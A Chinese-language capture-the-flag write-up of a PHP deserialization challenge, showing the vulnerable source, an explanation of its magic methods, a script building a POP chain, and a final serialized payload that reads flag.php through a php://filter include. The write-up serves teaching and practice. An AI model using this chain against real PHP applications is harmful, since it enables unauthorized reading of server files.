Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
打开网站直接可以看到这段代码,然后可以看到有几个比较明显的魔法函数
__invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
__construct():具有构造函数的类会在每次创建新对象时先调用此方法.
__toString():用于一个类被当成字符串时应怎样回应。例如
echo $obj;
应该显示些什么。此方法必须返回一个字符串,否则将发出一条E_RECOVERABLE_ERROR
级别的致命错误。__get():读取不可访问属性的值时,__get() 会被调用。
__wakeup():unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用
__wakeup
方法,预先准备对象需要的资源。
我们的目的是借用append()进行文件包含。
通过pop变量进行传参,对传参内容进行反序列化,反序列化可以想到触发__wakeup(),在__wakeup()中可以看到preg_match()中把this_source当成了字符串来对比,想办法触发__toString()然后this->str->source并不存在可以想到触发__get方法,__get()将类Modifier类当作函数调用会触发append(),构造pop链。
php脚本如下:
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return " ";
}
}
class Test{
public $p;
}
$a = new Show('jh');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
最后的payload:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A2%3A%22jh%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
https://www.php.net/manual/zh/language.oop5.magic.php
https://blog.csdn.net/StevenOnesir/article/details/111997573